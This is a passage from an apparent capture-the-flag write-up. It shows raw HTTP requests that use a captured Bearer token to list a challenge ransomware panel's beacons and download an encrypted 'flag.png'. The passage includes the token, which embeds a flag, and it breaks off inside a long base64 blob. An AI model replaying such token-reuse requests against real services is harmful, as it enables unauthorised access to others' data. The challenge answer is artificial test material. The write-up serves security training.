"07f5c67b-3ada-4cc4-a411-6efe4297d3a9","Cookoune","9","95","4","2023-03-18 22:01:10 UTC"
"fd91afc0-5fb6-470e-8cdb-12868954dc3e","HeyTunes","10","75","4","2023-04-01 18:24:08 UTC"
"1baed70e-e0b8-4f56-9214-86491928b52b","Medufiac","3","32","4","2023-03-31 23:25:50 UTC"
"2de828f6-774f-4c6e-a334-22682a8bce1d","Boboone","11","114","2","2023-03-24 16:43:16 UTC"
"3f05990d-7b74-4750-af7d-df0831da41d4","crou-stibat-art","11","87","0","2023-03-24 15:14:54 UTC"
"5667bbf4-fd60-404d-b8bc-99e5aecf5ea0","Instagrave","10","87","0","2023-03-16 05:36:36 UTC"
"9f424754-e6e2-418b-9dbb-09a96d6ec47e","Louis-Buaaitton","0","0","4","2023-03-10 09:27:19 UTC"
"d2f2b880-1bb8-4cf3-a46e-c23e34fbdede","ESNA","4","37","1","2023-04-15 06:38:21 UTC"
"52334ff3-6bef-4098-a0a9-3116709d32a0","ESNA","11","83","4","2023-04-10 15:55:52 UTC"
"925f7caa-e84f-4b77-ae5d-e4165b1cda27","Carrefout","5","37","0","2023-04-13 03:31:02 UTC"
"85f02fd3-439c-40b2-a0a0-3a8f568d03ec","DONNEZ LE FLAG","7","52","2","2023-03-04 17:59:54 UTC"

ID d2f2b880-1bb8-4cf3-a46e-c23e34fbdede is ESNA then.

On /api/beacons we obtain the public key of Morpheus.

1
2
3
4
5
6
7
8
9
10
GET /api/beacons HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
content-length: 18837
connection: close
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
content-type: application/json
access-control-allow-origin: http://xd33r.web.midnightflag.fr:31080
access-control-allow-credentials: true
date: Sun, 16 Apr 2023 01:24:52 GMT

...
{"computers":4,"date":"2023-04-15T06:38:21Z","files":37,"id":"d2f2b880-1bb8-4cf3-a46e-c23e34fbdede","name":"ESNA","public_key":"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFuTTF1NkYyODh3MENNOXdGNWlrSApxU2RpdUw5Z1NFY2J5TGhMV09xQ0haa3RqUDk0UTZKNzJ5NkY1T1dQSElrWHpKR0Rrd1Q0U21NaFdpcGlFVkJ5CjRwMEJPVWRRYkNUcVI4bjJDUmUvR3JIeFJzand1NU1FUnpYVUJmeHFPSHFhT1I5OTRVR0RrOCtDaS8zQStDODAKczY0N2JpY00zYWdHaGFCS2lZclBoNmFnWHdYQnVhQVNGbUs1dlRLRlVPNVBNOVk5dXhhd0s0dUZyNlVHc25TNgpHcjd5M2lYV3pJQmExZjF4Qkp3VC9UaXJBME9nb29mV0dJRnlqZjYvSkZuZ2lxaFBEQitMbW9wS0hVVEk5RzFqClQ4dGNObVVwVkk1UTJqU1ZITVdqeWRNUXZ0dmNORDNkVGQyOGVqUE1sUnVTZ0lPNG1nRkF3Qm8zZEZySHZJMFkKandJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t","state":1},
...

Then with a request to the right UUID we can get all info about computers, files, settings.

1
2
3
4
5
6
7
8
9
10
11
GET /api/beacon/d2f2b880-1bb8-4cf3-a46e-c23e34fbdede/infos HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

I won't put the output, it's way too large.

We can find the flag file:

1
78f39cf1-785e-4212-bfca-4de9ab36bbcb	b16e17f3-e3c3-4bd2-b053-f5150785e51f	flag.png
1
2
3
4
5
6
7
8
9
10
GET /api/file/78f39cf1-785e-4212-bfca-4de9ab36bbcb HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
content-length: 24830
connection: close
access-control-allow-credentials: true
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
content-type: application/json
access-control-allow-origin: http://xd33r.web.midnightflag.fr:31080
date: Sun, 16 Apr 2023 01:33:02 GMT

{"data":{"file":{"computer_id":"b16e17f3-e3c3-4bd2-b053-f5150785e51f","content":"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